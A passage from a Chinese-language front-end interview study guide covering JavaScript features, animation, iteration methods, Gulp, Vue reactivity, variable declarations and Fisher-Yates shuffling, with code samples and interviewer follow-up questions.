14. BOM:BOM(浏览器对象模型)提供了与浏览器窗口交互的接口,如操作浏览器历史记录、定时器等

window.location.href = "https://www.example.com";
let screenWidth = window.screen.width;
let timer = setTimeout(function() {
   console.log("Timer expired");
}, 5000);

15. 内存泄漏:内存泄漏是指无用的内存占用没有被释放,JavaScript中需要注意避免造成内存泄漏

function createHeavyObject() {
  let bigArray = new Array(1000000).fill("data");
  return bigArray;
}

let data = createHeavyObject();

// 释放无用的引用,帮助垃圾回收器回收内存
data = null;

16. 跨域:跨域是指在浏览器中访问不同源的资源,需要遵守同源策略或通过CORS等方式解决

// 跨域请求示例
let xhr = new XMLHttpRequest();
xhr.open("GET", "https://api.example.com/data", true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    let response = xhr.responseText;
    console.log(response);
  }
};
xhr.send();

17. 异步装载:通过异步加载资源,如图片、样式表和脚本,可以提高页面加载和性能

// 异步加载脚本
let script = document.createElement("script");
script.src = "https://example.com/script.js";
document.head.appendChild(script);

// 异步加载图片
let image = new Image();
image.src = "https://example.com/image.jpg";
image.onload = function() {
  console.log("Image loaded");
};

18. 模板引擎:模板引擎是用于生成动态HTML内容的工具,可以将数据和模板进行结合生成最终的HTML

let data = { name: "poetry", age: 25 };

let template = `
  <h1>My Profile</h1>
  <p>Name: ${data.name}</p>
  <p>Age: ${data.age}</p>
`;

document.getElementById("profileContainer").innerHTML = template;

19. 前端MVC:前端MVC(Model-View-Controller)是一种将应用程序分为数据模型、视图和控制器的架构模式

// 模型(Model)
let user = {
  name: "poetry",
  age: 25
};

// 视图(View)
function renderUser(user) {
  let container = document.getElementById("userContainer");
  container.innerHTML = `
    <p>Name: ${user.name}</p>
    <p>Age: ${user.age}</p>
  `;
}

// 控制器(Controller)
function updateUserAge(newAge) {
  user.age = newAge;
  renderUser(user);
}

updateUserAge(30);

20. 路由:路由是指根据不同的URL路径切换不同的页面或视图,前端路由可以通过URL的变化来加载对应的组件或页面

// 设置路由规则
const routes = [
  { path: "/", component: Home },
  { path: "/about", component: About },
  { path: "/contact", component: Contact }
];

// 监听URL变化
window.addEventListener("hashchange", () => {
  const path = window.location.hash.substring(1);
  const route = routes.find(route => route.path === path);

  if (route) {
    const component = new route.component();
    component.render();
  }
});

// 渲染组件
class Home {
  render() {
    document.getElementById("app").innerHTML = "<h1>Home Page</h1>";
  }
}

class About {
  render() {
    document.getElementById("app").innerHTML = "<h1>About Page</h1>";
  }
}

class Contact {
  render() {
    document.getElementById("app").innerHTML = "<h1>Contact Page</h1>";
  }
}

// 初始加载默认路由
window.location.hash = "/";

21. 模块化:JavaScript模块化通过将代码分割为独立的模块,每个模块具有自己的作用域和接口

// 模块A
export function add(a, b) {
  return a + b;
}

export function multiply(a, b) {
  return a * b;
}

// 模块B
import { add, multiply } from "./moduleA.js";

let sum = add(2, 3);
let product = multiply(4, 5);

22.Canvas:Canvas是HTML5提供的用于绘制图形和动画的API,可以通过JavaScript操作Canvas元素

let canvas = document.getElementById("myCanvas");
let ctx = canvas.getContext("2d");

ctx.fillStyle = "red";
ctx.fillRect(0, 0, canvas.width, canvas.height);

ctx.strokeStyle = "blue";
ctx.lineWidth = 2;
ctx.beginPath();
ctx.arc(100, 100, 50, 0, 2 * Math.PI);
ctx.stroke();

23. ECMAScript:ECMAScript是JavaScript的标准化规范,定义了语法、数据类型、函数等核心特性

// ECMAScript 6示例
let name = "poetry";
let age = 25;

let message = `My name is ${name} and I'm ${age} years old.`;

console.log(message);

这些是原生JavaScript的一些重要特性和示例代码,涵盖了数据类型、运算、对象、函数、继承、闭包、作用域、原型链、事件、正则表达式、JSON、Ajax、DOM、BOM、内存泄漏、跨域、异步装载、模板引擎、前端MVC、路由、模块化、Canvas和ECMAScript。当然,JavaScript还有许多其他特性和用法,这只是其中一部分。

💬 面试官追问

  • 不用框架,你会怎么实现一个列表的点击删除?

    在父元素 ul 上做事件委托:ul.addEventListener('click', e => { const li = e.target.closest('li'); li?.remove() })。新加的 li 不用再绑事件,几千条也只有一个监听器。

  • 你说熟悉原型链,Object.create(null) 创建的对象有什么特别?

    它没有原型,toString、hasOwnProperty 这些全都没有,适合做纯字典,不用担心 '__proto__'、'constructor' 这类键名撞上原型属性。判断属性就用 Object.hasOwn(obj, key)。

  • 说说你排查过的内存泄漏一般是哪几类?

    最常见的是组件销毁时没清掉的定时器、全局事件监听、闭包引用了大对象,还有被 JS 引用着的已删除 DOM 节点。查法是 Memory 面板操作前后各拍一次堆快照对比,看哪些对象数量只涨不降。

  • 原生 JS 写组件,状态变了怎么更新视图?

    最简单是状态改完重新渲染那一块的 innerHTML,注意转义防 XSS;复杂一点自己写个发布订阅,setState 时通知订阅的渲染函数。这其实就是框架做的事,写一遍能理解框架为什么要做 diff。

  • fetch 和 XMLHttpRequest 你选哪个?

    新代码用 fetch,基于 Promise,配 AbortController 能取消。要注意它遇到 404、500 不会 reject,得自己判断 res.ok;要上传进度的话 fetch 目前还不方便,这时 XHR 的 upload.onprogress 更省事。

# 57 Js动画与CSS动画区别及相应实现

⚡ 30 秒速记

  • CSS 动画:声明式,代码少,transform / opacity 能交给合成线程,主线程卡了也不掉帧
  • JS 动画:每帧都能算,能暂停、倒放、跟手、做弹簧物理,但跑在主线程,写不好就卡
  • JS 要用 requestAnimationFrame,别用 setInterval:帧对不齐会抖,后台标签页 rAF 会暂停省电
  • 选型:状态切换、hover、展开收起用 CSS;拖拽跟手、时间轴编排用 JS(GSAP、Motion)
  • 折中:element.animate()(Web Animations API),JS 控制、浏览器优化执行

简单固定的过渡用 CSS,需要精细控制或者跟着用户手势走的用 JS。 CSS 动画的优势是浏览器能提前优化,只动 transform 和 opacity 的话,即使主线程在跑大段 JS,动画也照样流畅。JS 动画胜在控制力,能随时暂停、拿到当前进度、根据拖拽速度算惯性,但每一帧都在主线程上,主线程一忙就掉帧。所以我默认先用 CSS,搞不定再上 JS,而且 JS 动画也尽量只改 transform。

在JavaScript中实现动画可以通过以下方式:

  1. 使用setTimeout或setInterval函数结合DOM操作来实现逐帧动画。这种方式需要手动计算和控制每一帧的变化,并且需要注意处理动画的性能问题。
let element = document.getElementById("animate");
let position = 0;

function animate() {
  position += 1;
  element.style.left = position + "px";

  if (position < 200) {
    setTimeout(animate, 10);
  }
}

animate();
  1. 使用requestAnimationFrame函数来实现更高效的动画。requestAnimationFrame会在浏览器每一帧绘制之前调用指定的回调函数,可以更好地利用浏览器的刷新机制。
let element = document.getElementById("animate");
let position = 0;

function animate() {
  position += 1;
  element.style.left = position + "px";

  if (position < 200) {
    requestAnimationFrame(animate);
  }
}

animate();
  1. 使用现代JavaScript动画库,如GSAP(GreenSock Animation Platform),它提供了丰富的动画功能和更高级的控制选项。
let element = document.getElementById("animate");

gsap.to(element, {
  x: 200,
  duration: 1,
  ease: "power2.out"
});
  1. 使用Pixi.js实现动画方式

Pixi.js是一个基于WebGL的2D渲染引擎,它提供了丰富的功能和工具来创建高性能的动画效果。使用Pixi.js可以轻松实现复杂的动画效果,并且可以充分利用硬件加速来提高性能。

以下是使用Pixi.js实现动画的示例代码:

4.1 创建Pixi.js应用程序:

// 创建一个Pixi.js应用程序
const app = new PIXI.Application({
  width: 800,
  height: 600,
  backgroundColor: 0x000000
});

// 将Pixi.js应用程序添加到HTML文档中的某个元素中
document.getElementById("container").appendChild(app.view);

4.2 创建并添加精灵对象:

// 创建一个精灵对象
const sprite = PIXI.Sprite.from("image.png");

// 设置精灵对象的位置和缩放
sprite.x = 100;
sprite.y = 100;
sprite.scale.set(0.5);

// 将精灵对象添加到舞台中
app.stage.addChild(sprite);

4.3 实现动画效果:

// 创建一个Tween动画对象
const tween = PIXI.tweenManager.createTween(sprite);

// 设置动画的起始位置和结束位置
tween.from({ x: 100, y: 100 }).to({ x: 500, y: 300 });

// 设置动画的持续时间和缓动函数
tween.time = 1000;
tween.easing = PIXI.tween.Easing.outCubic;

// 开始动画
tween.start();

通过使用Pixi.js提供的TweenManager和Tween类,我们可以轻松地创建和控制动画效果。可以设置动画对象的起始状态、结束状态、持续时间和缓动函数,然后调用start()方法开始动画。

除了Tween动画,Pixi.js还提供了许多其他功能,如粒子效果、骨骼动画、滤镜效果等,可以根据具体需求选择合适的方式来实现动画效果。

需要注意的是,使用Pixi.js来实现动画需要先引入Pixi.js库,并在HTML文档中创建一个容器元素用于显示Pixi.js应用程序的画布。

<div id="container"></div>

然后通过上述示例代码来创建Pixi.js应用程序,并实现所需的动画效果。

相比之下,CSS动画具有以下优点:

  • 性能优化:浏览器可以对CSS动画进行硬件加速,以提高动画的性能和流畅度。
  • 简单易用:使用CSS关键帧动画可以通过简单的CSS样式声明来定义动画,代码相对简单。
  • 兼容性:CSS动画在现代浏览器中得到很好的支持,并且在某些情况下可以更好地处理动画效果。

然而,CSS动画也有一些限制:

  • 控制能力受限:CSS动画通常只能实现简单的线性或简单的缓动效果,对于复杂的动画效果和交互控制,可能需要使用JavaScript来实现。
  • 兼容性局限:某些老版本的浏览器可能不支持某些CSS动画属性和效果。

因此,根据实际需求和性能考虑,选择合适的动画实现方式是很重要的。在简单的动画效果和性能要求较高时,可以优先考虑使用CSS动画;而在复杂的动画控制和交互需求时,使用JavaScript来实现动画更为灵活。

💬 面试官追问

  • JS 动画为什么推荐 requestAnimationFrame 而不是 setTimeout(fn, 16)?

    rAF 跟着屏幕刷新走,每帧正好执行一次,120Hz 的屏也能对上;setTimeout 时间不准,和刷新节奏错开就会掉帧抖动。而且标签页切到后台,rAF 会暂停,不白耗电。

  • 动画用 left 改位置和用 transform 有什么区别?

    改 left 每帧都要重新布局和绘制;transform 只在合成阶段处理,跳过布局和绘制。同样移动 200px,transform 在低端机上流畅得多。

  • CSS 动画做到一半,想让它停在当前位置,怎么办?

    animation-play-state: paused 就能停住。要拿到当前进度或者跳到某个时间点,用 el.getAnimations()[0].currentTime 读写,这就是 Web Animations API 的好处。

  • 给很多元素加 will-change: transform 能让动画更快吗?

    不能乱加。每个元素都可能被提升成单独的合成层,层多了占显存,反而更卡。动画开始前加、结束后去掉,或者只给真正要动的那几个元素加。

  • 页面滚动到某处时元素渐显,一定要用 JS 吗?

    不一定。简单的进入视口触发,用 IntersectionObserver 加个 class 就行;要让动画进度跟着滚动走,可以用 animation-timeline: scroll() 或 view(),Chrome 115 起支持,不支持的浏览器要准备降级。

# 58 JS 数组和对象的遍历方式,以及几种方式的比较

⚡ 30 秒速记

  • 数组:for(能 break、能控制步长)、for...of(能 break,配 entries() 拿索引)、forEach / map / filter(走完全程)、some / every / find(能短路)
  • 对象:Object.keys / values / entries 只拿自身可枚举的字符串键,最常用
  • for...in 会带出原型链上的可枚举属性,要配 Object.hasOwn 过滤;别拿它遍历数组
  • Symbol 键 只有 Object.getOwnPropertySymbols 或 Reflect.ownKeys 拿得到
  • 顺序:整数键 先按升序,其余字符串键 按插入顺序

遍历数组我一般用 for...of 或数组方法,遍历对象用 Object.entries,for...in 基本只在老代码里见。 选数组遍历方式主要看两件事:要不要返回值,要不要中途停。要转换用 map,要筛选用 filter,要中途退出用 for...of 或 some、find,forEach 停不下来。对象这边 for...in 的问题是会把原型链上的可枚举属性也带出来,Object.entries 只拿自身属性,配上解构 for (const [k, v] of Object.entries(obj)) 写起来也很顺。

数组的遍历方式:

1. for循环:

  • 可以使用普通的for循环来遍历数组元素。
  • 优点:灵活性高,可以根据索引进行操作。
  • 缺点:代码相对繁琐,需要手动管理索引。
const array = [1, 2, 3];
for (let i = 0; i < array.length; i++) {
  console.log(array[i]);
}

2. forEach方法:

  • 使用数组的forEach方法进行遍历。
  • 优点:简洁、易读,无需手动管理索引。
  • 缺点:无法使用break和continue跳出循环。
const array = [1, 2, 3];
array.forEach((element) => {
  console.log(element);
});

3. for...of循环:

  • 使用for...of循环来遍历数组。
  • 优点:语法简洁,无需手动管理索引,可以遍历任何可迭代对象。
  • 缺点:无法获取当前元素的索引。
const array = [1, 2, 3];
for (const element of array) {
  console.log(element);
}

4. map方法:

  • 使用数组的map方法进行遍历并返回新数组。
  • 优点:可以同时遍历和转换数组的元素,返回一个新数组。
  • 缺点:不适合仅需要遍历而不需要返回新数组的情况。
const array = [1, 2, 3];
const mappedArray = array.map((element) => element * 2);
console.log(mappedArray);

对象的遍历方式:

1. for...in循环:

  • for...in循环是用于遍历对象属性的,但也可用于遍历数组。
  • 优点:可以遍历数组的索引或属性。
  • 缺点:会遍历数组的原型链,不稳定且性能较差,不推荐在数组上使用。
const obj = { a: 1, b: 2, c: 3 };
for (const key in obj) {
  console.log(key, obj[key]);
}

2. Object.keys方法结合forEach方法:

const obj = { a: 1, b: 2, c: 3 };
Object.keys(obj).forEach((key) => {
  console.log(key, obj[key]);
});

3. Object.entries方法结合forEach方法:

const obj = { a: 1, b: 2, c: 3 };
Object.entries(obj).forEach(([key, value]) => {
  console.log(key, value);
});

比较总结:

  • for循环是最基本的遍历方式,适用于所有情况,但代码较为繁琐。
  • forEach方法是数组专用的遍历方法,代码简洁,但无法使用break和continue跳出循环。
  • for...of循环适用于遍历可迭代对象,如数组、字符串等,语法简单,但无法获取索引。
  • map方法适用于对数组进行映射转换,返回新数组。
  • for...in循环适用于遍历对象的属性,但会遍历原型链上的属性。
  • Object.keys方法结合forEach方法适用于遍历对象的属性,不遍历原型链。
  • Object.entries方法结合forEach方法适用于遍历对象的键值对。

根据不同的需求和数据结构,选择合适的遍历方式可以提高代码的可读性和性能。使用基本的for循环可以处理各种情况,forEach和map方法提供了简洁的数组遍历方式,for...of循环适用于遍历可迭代对象,for...in循环和Object.keys/Object.entries结合forEach方法适用于遍历对象的属性和键值对。

💬 面试官追问

  • for...in 遍历数组会出什么问题?

    拿到的 key 是字符串 '0'、'1',拿去做加法会变成字符串拼接;数组上挂的自定义属性、被人加到 Array.prototype 上的方法也会被遍历出来。数组就用 for...of。

  • for...of 能直接遍历普通对象吗?

    不能,会报 obj is not iterable,普通对象没有 Symbol.iterator。先转一下:for (const [k, v] of Object.entries(obj));Map 和 Set 倒是可以直接 for...of。

  • 对象 { b: 1, 2: 1, a: 1, 1: 1 } 用 Object.keys 输出什么顺序?

    ['1', '2', 'b', 'a']。整数键 按升序排在前面,其余按插入顺序。需要严格保持插入顺序就用 Map。

  • 几十万条数据的循环,for 和 forEach 性能差多少?

    现代引擎里差距很小,forEach 每项多一次函数调用,热点代码里 for 会快一点。几十万条时真正的瓶颈通常在循环体里做了什么,比如每轮都操作 DOM,而不是用哪种循环。

  • 怎么按字段把数组分组?

    Object.groupBy(list, item => item.type),ES2024 加的,返回的对象没有原型。老环境用 reduce 自己累加:acc[item.type] ??= [] 再 push。

# 59 gulp是什么

⚡ 30 秒速记

  • Gulp = 基于 Node.js 流的任务运行器:src 读文件 → pipe 一道道处理 → dest 输出
  • 比 Grunt 快:中间结果在内存流里传,不落临时文件
  • 和 Webpack 定位不同:Gulp 按任务处理文件,不懂模块依赖;Webpack 从入口分析依赖图再打包
  • Gulp 4 起用 series / parallel 编排任务,推荐 exports 导出任务函数
  • 现状:新项目基本用 Vite、Webpack、Rspack,Gulp 还在组件库样式编译、静态资源批处理里能见到

Gulp 是一个基于流的任务运行器,把压缩、编译、加前缀这类重复活写成流水线自动跑。 写法很直观,gulp.src('src/**/*.scss') 读文件,.pipe(sass())、.pipe(cleanCSS()) 一道道加工,最后 .pipe(gulp.dest('dist')) 输出,中间结果都在内存里传,所以比 Grunt 快。它和 Webpack 不是一类东西,Gulp 只管按顺序处理文件,不理解 import 依赖关系。现在新项目很少用它了,面试里说清楚它解决什么问题、为什么被取代就够了。

gulp`是前端开发过程中一种基于流的代码构建工具,是自动化项目的构建利器;它不仅能对网站资源进行优化,而且在开发过程中很多重复的任务能够使用正确的工具自动完成

  • Gulp的核心概念:流,简单来说就是建立在面向对象基础上的一种抽象的处理数据的工具。在流中,定义了一些处理数据的基本操作,如读取数据,写入数据等,程序员是对流进行所有操作的,而不用关心流的另一头数据的真正流向
  • gulp正是通过流和代码优于配置的策略来尽量简化任务编写的工作
  • Gulp的特点:
    • 易于使用:通过代码优于配置的策略,gulp 让简单的任务简单,复杂的任务可管理
    • 构建快速 利用 Node.js 流的威力,你可以快速构建项目并减少频繁的 IO 操作
    • 易于学习 通过最少的 API,掌握 gulp 毫不费力,构建工作尽在掌握:如同一系列流管道
const gulp = require('gulp');
const cleanCSS = require('gulp-clean-css');

// 压缩CSS任务
gulp.task('minify-css', () => {
  return gulp.src('src/css/*.css')
    .pipe(cleanCSS())
    .pipe(gulp.dest('dist/css'));
});

// 默认任务
gulp.task('default', gulp.series('minify-css'));

上述示例定义了一个名为minify-css的任务,用于压缩CSS文件。通过使用gulp.src选择要处理的文件,然后通过cleanCSS插件进行压缩操作,最后将压缩后的文件保存到dist/css目录下。通过gulp.task定义任务,最后通过gulp.series定义默认任务,将minify-css任务作为默认任务执行。

总结:Gulp的特点在于其简单的API和基于流的处理方式。通过使用Gulp,开发者可以轻松地定义和执行各种任务,提高开发效率。它的易用性、快速构建和易学性使得Gulp成为前端开发中常用的自动化构建工具之一

💬 面试官追问

  • Gulp 和 Webpack 能互相替代吗?

    不能完全替代。Webpack 会从入口分析 import 关系,做代码分割和 tree shaking;Gulp 只是按规则处理一批文件。早些年常见的组合是 Gulp 做任务编排,里面调用 Webpack 打包 JS。

  • Gulp 4 里 series 和 parallel 怎么选?

    有先后依赖用 series,比如先 clean 再 build;互不相关的用 parallel,比如样式和图片一起处理。可以嵌套:series(clean, parallel(styles, images))。

  • 为什么 Gulp 任务里一定要 return 那个流?

    Gulp 要靠返回的流、Promise 或者回调参数知道任务什么时候结束。不 return 的话,series 会以为任务已经完成,后面的任务提前开跑,Gulp 4 还会报 Did you forget to signal async completion?。

  • 现在什么情况下你还会用 Gulp?

    不需要模块打包、只是批量处理文件的场景,比如组件库把每个 .less 文件单独编译成 .css、批量压缩图片、给静态站生成文件。真要打包应用还是用 Vite 这类工具。

  • 为什么说「流」比临时文件快?

    Grunt 每个任务读一次文件、处理完再写回磁盘,下个任务再读,磁盘 IO 次数跟任务数成正比。Gulp 只在开头读一次、结尾写一次,中间在内存里传,任务越多差距越大。

# 60 说一下Vue的双向绑定数据的原理

⚡ 30 秒速记

  • 双向绑定 = 数据驱动视图(响应式)+ 视图改数据(v-model 监听事件回写)
  • Vue 2:Object.defineProperty 劫持 getter / setter,getter 里 Dep 收集 Watcher,setter 里通知更新
  • Vue 2 的坑:新增、删除属性监测不到(要 Vue.set / Vue.delete),数组下标和 length 也不行,靠重写 push 等 7 个方法
  • Vue 3:Proxy 代理整个对象,增删属性、数组下标都能拦,用到才递归代理,track / trigger 收集和触发依赖
  • v-model 是 :value + @input 的语法糖,组件上 Vue 2 默认 value / input,Vue 3 是 modelValue / update:modelValue

Vue 的双向绑定拆开看是两件事:数据变了视图自动更新,靠响应式;视图里输入了改回数据,靠 v-model 监听事件。 响应式这块,Vue 2 用 Object.defineProperty 给每个属性加 getter 和 setter,渲染时读到哪个属性就把当前组件记成它的依赖,赋值时触发 setter 通知这些依赖重新渲染。它的局限是只能劫持已有属性,新加的属性和数组下标改动监听不到。Vue 3 换成 Proxy 代理整个对象,这些问题都没了,而且是访问到才往深层代理,初始化更快。

时序图 · 4 个参与者 / 8 步
alt 值确实变了新值和旧值相同组件渲染函数组件渲染函数响应式对象响应式对象依赖表依赖表更新队列更新队列渲染时读取 state.count1收集依赖,记下这个组件2返回当前值,渲染完成3用户在输入框里改了值v-model 触发赋值 state.count = 24触发更新,找出依赖的组件5把组件更新任务放进队列并去重6微任务里统一重新渲染一次7不触发任何更新8

vue.js 则是采用数据劫持结合发布者-订阅者模式的方式,通过Object.defineProperty()来劫持各个属性的setter,getter,在数据变动时发布消息给订阅者,触发相应的监听回调

Vue的双向绑定数据的原理是基于数据劫持和发布者-订阅者模式的组合。

具体步骤如下:

  1. Vue通过Object.defineProperty()方法对数据对象进行劫持。
  2. 在劫持过程中,为每个属性添加了getter和setter。
  3. 当访问属性时,会触发getter函数,而当属性值发生变化时,会触发setter函数。
  4. 在setter函数中,Vue会通知相关的订阅者,即依赖于该属性的视图或其他数据。
  5. 订阅者收到通知后,会执行相应的更新操作,将新的数据反映到视图上。

这样,当数据发生变化时,Vue能够自动更新相关的视图,实现了双向绑定的效果。

这种原理结合了数据劫持和发布者-订阅者模式的特点,实现了数据与视图之间的自动同步。通过数据劫持,Vue能够捕获数据的变化,而发布者-订阅者模式则确保了数据变化时的及时通知和更新。

示例代码:

// 定义一个数据对象
const data = {
  message: 'Hello Vue!',
};

// 通过Object.defineProperty()劫持数据对象
Object.defineProperty(data, 'message', {
  get() {
    console.log('访问数据');
    return this._message;
  },
  set(newValue) {
    console.log('更新数据');
    this._message = newValue;
    // 通知订阅者,执行更新操作
    notifySubscribers();
  },
});

// 定义一个订阅者列表
const subscribers = [];

// 订阅者订阅数据
function subscribe(callback) {
  subscribers.push(callback);
}

// 通知订阅者,执行更新操作
function notifySubscribers() {
  subscribers.forEach((callback) => {
    callback();
  });
}

// 订阅者更新视图
function updateView() {
  console.log('视图更新:', data.message);
}

// 订阅数据变化
subscribe(updateView);

// 修改数据,触发更新
data.message = 'Hello VueJS!';

在上述示例中,我们通过Object.defineProperty()对data对象的message属性进行劫持,并在getter和setter中添加了相应的日志和更新操作。订阅者通过subscribe方法订阅数据变化,并在updateView方法中更新视图。当我们修改data.message的值时,会触发setter函数,从而通知订阅者执行更新操作,最终更新了视图。

通过这种方式,Vue实现了双向绑定的效果,使得数据的变化能够自动反映到视图上。

上面讲的是 Vue 2 的做法,Vue 3 已经把底层换成了 Proxy,思路一样(读时收集、写时触发),能力强了不少。用一段极简代码对照:

const targetMap = new WeakMap() // 对象 -> key -> 依赖它的副作用集合
let activeEffect = null

function reactive(obj) {
  return new Proxy(obj, {
    get(target, key, receiver) {
      track(target, key) // 读的时候记下谁在用
      return Reflect.get(target, key, receiver)
    },
    set(target, key, value, receiver) {
      const ok = Reflect.set(target, key, value, receiver)
      trigger(target, key) // 写的时候通知它们
      return ok
    },
  })
}
function track(t, k) {
  if (!activeEffect) return
  let deps = targetMap.get(t) || new Map(); targetMap.set(t, deps)
  let set = deps.get(k) || new Set(); deps.set(k, set)
  set.add(activeEffect)
}
function trigger(t, k) {
  targetMap.get(t)?.get(k)?.forEach(fn => fn())
}
function effect(fn) { activeEffect = fn; fn(); activeEffect = null }

const state = reactive({ count: 0 })
effect(() => console.log('render', state.count)) // render 0
state.count++   // render 1
state.newKey = 1 // Proxy 能拦到新增属性,Vue 2 的 defineProperty 做不到

两个版本的关键差异:Vue 2 初始化时要递归遍历所有属性逐个 defineProperty,数据大时启动慢,新增属性和数组下标监听不到;Vue 3 的 Proxy 拦的是整个对象,增删属性、in、delete 都能拦,深层对象等访问到才代理。代价是 Proxy 没法 polyfill,所以 Vue 3 不支持 IE11。

💬 面试官追问

  • Vue 2 里 this.user.age = 18,age 是新加的,页面为什么不更新?

    defineProperty 只在初始化时给已有属性装了 getter 和 setter,新加的 age 就是个普通属性。用 this.$set(this.user, 'age', 18),或者整个替换 this.user = { ...this.user, age: 18 }。Vue 3 没这个问题。

  • Vue 2 里 this.list[0] = x 不生效,为什么 push 就可以?

    Vue 2 出于性能考虑没劫持数组下标,而是重写了 push、pop、shift、unshift、splice、sort、reverse 这 7 个方法,在里面手动通知更新。改下标就用 this.list.splice(0, 1, x)。

  • 连续改三次数据,页面会渲染三次吗?

    不会。setter 触发后,组件的更新任务被放进队列去重,等当前同步代码跑完,在微任务里统一渲染一次。所以改完数据想拿到新 DOM,要 await nextTick()。

  • Vue 3 里把 reactive 对象解构出来,为什么就不响应了?

    解构拿到的是普通值,已经不经过 Proxy 了,读它也收集不到依赖。用 toRefs(state) 解构,或者直接用 ref。

  • Proxy 为什么要配合 Reflect 用?

    Reflect.get(target, key, receiver) 能把 receiver 传下去,对象里有 getter 用到 this 时,this 指向代理对象而不是原对象,依赖才收集得到。另外 Reflect 的返回值正好符合 Proxy 拦截器的要求。

# 61 let var const区别

⚡ 30 秒速记

  • var:函数作用域、提升成 undefined、能重复声明、顶层挂 window
  • let:块级作用域、有 TDZ、不能重复声明、不挂 window
  • const:在 let 基础上,声明时必须赋值,之后不能重新赋值
  • const 锁的是绑定不是值:const obj = {} 后 obj.a = 1 照样可以,要冻住用 Object.freeze,而且只冻一层
  • 习惯:默认 const,要重新赋值才 let,不用 var

let 和 const 都是块级作用域、都有暂时性死区,区别只在 const 不能重新赋值;var 是老一套的函数作用域。 很多人会把 const 理解成「值不能改」,其实它锁的是变量和值之间的绑定,const arr = [] 之后 arr.push(1) 完全没问题,arr = [1] 才报错。所以 const 声明的对象并不是不可变的。我平时默认用 const,读代码的人一看就知道这个变量后面不会被换掉,只有计数器、累加这种才用 let。

let

  • 允许你声明一个作用域被限制在块级中的变量、语句或者表达式
  • let绑定不受变量提升的约束,这意味着let声明不会被提升到当前
  • 该变量处于从块开始到初始化处理的“暂存死区”

var

  • 声明变量的作用域限制在其声明位置的上下文中,而非声明变量总是全局的
  • 由于变量声明(以及其他声明)总是在任意代码执行之前处理的,所以在代码中的任意位置声明变量总是等效于在代码开头声明

const

  • 声明创建一个值的只读引用 (即指针)
  • 基本数据当值发生改变时,那么其对应的指针也将发生改变,故造成 const申明基本数据类型时
  • 再将其值改变时,将会造成报错, 例如 const a = 3 ; a = 5时 将会报错
  • 但是如果是复合类型时,如果只改变复合类型的其中某个Value项时, 将还是正常使用

示例代码:

let:

function example() {
  let x = 10;
  if (true) {
    let x = 20;
    console.log(x); // Output: 20
  }
  console.log(x); // Output: 10
}

example();

var:

function example() {
  var x = 10;
  if (true) {
    var x = 20;
    console.log(x); // Output: 20
  }
  console.log(x); // Output: 20
}

example();

const:

function example() {
  const x = 10;
  if (true) {
    const x = 20;
    console.log(x); // Output: 20
  }
  console.log(x); // Output: 10
}

example();

在上述示例中,使用let关键字声明的变量x具有块级作用域,它的作用范围仅限于if语句块内部。而使用var关键字声明的变量x则具有函数级作用域,它的作用范围在整个函数内部都可见。

对于const关键字声明的变量x,它创建了一个只读的引用,也就是说它的值不能被修改。在示例中,const x = 10声明了一个常量x,而在if语句块内部再次使用const x = 20声明了一个新的常量x,它的作用范围也仅限于if语句块内部。

总结:

  • let关键字声明的变量具有块级作用域,不会被提升,存在暂存死区。
  • var关键字声明的变量具有函数级作用域,会被提升到当前作用域的顶部。
  • const关键字声明的变量创建一个只读的引用,其值不可修改,但对于复合类型的变量,可以修改其属性或元素的值。

💬 面试官追问

  • const arr = [1, 2]; arr.push(3) 会报错吗?

    不会。arr 指向的还是同一个数组,只是数组内容变了,const 不管这个。arr = [] 才会报 TypeError: Assignment to constant variable。

  • for (const i = 0; i < 3; i++) 能用吗?for (const item of list) 呢?

    第一个会报错,i++ 要给 i 重新赋值。第二个没问题,for...of 每一轮都创建一个新绑定,不存在重新赋值。

  • Object.freeze 之后对象就彻底改不了了吗?

    只冻一层。const o = Object.freeze({ a: { b: 1 } }),o.a = 2 无效,但 o.a.b = 2 照样生效。要深冻得自己递归 freeze;而且非严格模式下改冻结对象是静默失败,严格模式才会报错。

  • 都推荐 const 了,什么时候还用 let?

    值确实要变的时候:循环计数、累加求和、根据条件分支赋值,比如 let status; if (x) status = 'a'; else status = 'b'。后一种我更愿意改成三元表达式,直接 const。

  • 函数声明和 var 一起提升,谁优先?

    函数声明优先,整个函数体都提升了。console.log(typeof foo); var foo = 1; function foo() {} 打印 'function',执行到 foo = 1 那行之后才变成数字。

# 62 快速的让一个数组乱序

⚡ 30 秒速记

  • 正解是 Fisher-Yates 洗牌:从后往前,每个位置和 [0, i] 里随机一个交换,O(n),每种排列概率相等
  • 写法:for (let i = arr.length - 1; i > 0; i--) { const j = Math.floor(Math.random() * (i + 1)); [arr[i], arr[j]] = [arr[j], arr[i]] }
  • arr.sort(() => Math.random() - 0.5) 不均匀,结果还跟引擎排序算法有关,面试写这个减分
  • 不想动原数组就先 [...arr] 拷一份
  • 抽奖、发牌这种对公平性敏感的,用 crypto.getRandomValues,别用 Math.random

乱序我会直接写 Fisher-Yates:从最后一个元素往前走,每一步和前面(包括自己)随机一个位置交换。 它只遍历一遍,每种排列出现的概率都一样。sort 加随机数的写法看着短,问题是排序算法要求比较结果前后一致,随机返回就违反了这个前提,有的元素会大概率留在原位附近,而且 V8 从 7.0 开始改用 TimSort,换个引擎或版本结果分布也不同。对公平性要求高的场景,随机数换成 crypto.getRandomValues。

方法1:使用数组的sort方法结合随机数

var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
arr.sort(function() {
  return Math.random() - 0.5;
});
console.log(arr);

方法2:使用Fisher-Yates算法

function shuffleArray(array) {
  var currentIndex = array.length, temporaryValue, randomIndex;

  while (currentIndex !== 0) {
    randomIndex = Math.floor(Math.random() * currentIndex);
    currentIndex -= 1;

    temporaryValue = array[currentIndex];
    array[currentIndex] = array[randomIndex];
    array[randomIndex] = temporaryValue;
  }

  return array;
}

var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
console.log(shuffleArray(arr));

方法3:使用lodash库的shuffle方法

import shuffle from 'lodash/shuffle'
var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
console.log(shuffle(arr));

对比总结:

  • 方法1使用数组的sort方法结合随机数,是一种简单快速的方式,但并不是真正意义上的乱序,因为它是通过排序来实现的。
  • 方法2使用Fisher-Yates算法,通过交换数组中的元素来实现乱序,是一种更可靠的乱序方式。
  • 方法3使用lodash库的shuffle方法,提供了一个方便的工具函数来实现数组的乱序,不需要自己编写乱序算法。

总体而言,如果只是需要简单的乱序,方法一已经足够。但如果对于乱序的质量和随机性有较高的要求,可以使用方法二的Fisher-Yates算法或者借助第三方库来实现。

💬 面试官追问

